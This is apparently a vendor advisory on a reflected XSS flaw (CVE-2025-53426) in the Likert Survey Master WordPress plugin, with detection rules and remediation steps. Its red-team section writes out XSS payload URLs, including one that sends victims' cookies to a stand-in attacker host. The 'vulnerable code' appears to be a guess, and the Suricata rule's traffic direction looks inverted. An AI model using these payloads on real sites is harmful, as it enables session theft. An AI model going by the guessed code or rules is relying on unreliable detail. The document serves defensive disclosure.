CVE-2025-53426

Executive Summary

CVE-2025-53426 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Likert Survey Master, versions up to and including 0.8.0.1. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim's browser session. The CVSS score of 7.1 (High) reflects the low complexity and network-based attack vector, though user interaction is required. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. As a supply chain risk, any site running the vulnerable version is exposed. The plugin's update mechanism is the primary vector for patch distribution, but no patch has been released. Site administrators should monitor the plugin's page for updates and consider temporary removal if the plugin is not critical.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: High (7.1). The low EPSS score (0.0%) suggests no active exploitation in the wild, but the vulnerability is trivial to exploit once discovered.

Deep Dive & Mechanics

The Likert Survey Master plugin fails to sanitize user input in a reflected manner. When a user clicks a specially crafted URL containing malicious JavaScript, the plugin echoes the input back into the page without proper encoding. This allows the attacker's script to execute in the victim's browser, bypassing the same-origin policy.

The vulnerable parameter is likely a query string parameter used for survey display or error messages. The plugin does not use esc_html(), esc_js(), or similar WordPress sanitization functions before outputting the input.

Vulnerable vs. Patched Code

Vulnerable Code (Likert Survey Master <= 0.8.0.1):

<?php
// Vulnerable: Direct echo of user input
echo $_GET['message'];
?>

Patched Code (Hypothetical):

<?php
// Patched: Use WordPress escaping function
echo esc_html($_GET['message']);
?>

The patched version would use esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

1. Craft the malicious URL:

   http://target-site.com/wp-content/plugins/likert-survey-master/survey.php?message=<script>alert('XSS')</script>
   

2. Deliver the link via phishing email, social media, or other channels.
3. Victim clicks the link, and the script executes in their browser.
4. Payload example for session hijacking:

   http://target-site.com/...?message=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

Blue Team

1. Monitor web server logs for unusual query strings containing <script> tags.
2. Deploy WAF rules to block reflected XSS patterns.
3. Educate users not to click suspicious links.
4. Temporarily disable the plugin if no patch is available.

Indicators of Compromise (IOCs)

• Network: HTTP requests with query parameters containing <script>, onerror, onload, or similar XSS vectors.
• Logs: Web server access logs showing requests to /wp-content/plugins/likert-survey-master/ with suspicious parameters.
• File: No file-based IOCs; this is a reflected vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_53426_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Likert Survey Master"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53426"
    strings:
        $xss_pattern = /<script[^>]*>.*?<\/script>/i
        $plugin_path = "likert-survey-master"
    condition:
        $plugin_path and $xss_pattern
}

Sigma Rule

title: Reflected XSS Attempt Against Likert Survey Master
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting the Likert Survey Master plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'likert-survey-master'
        cs-uri-query|re: '(<script|<img|<svg|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in parameters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-53426 Reflected XSS in Likert Survey Master";
    flow:to_server,established;
    content:"likert-survey-master"; http_uri;
    pcre:"/(<script|<img|<svg|onerror|onload)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-53426;
    priority:2;
)

Remediation & Mitigation

1. Immediate: Disable the Likert Survey Master plugin until a patch is available.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
3. Long-term: Apply input validation and output encoding using WordPress functions like esc_html(), esc_js(), and wp_kses().
4. Monitor: Subscribe to the plugin's changelog for patch announcements.
5. Backup: Ensure regular backups of the WordPress installation.

Valters IT
Securing Digital Frontiers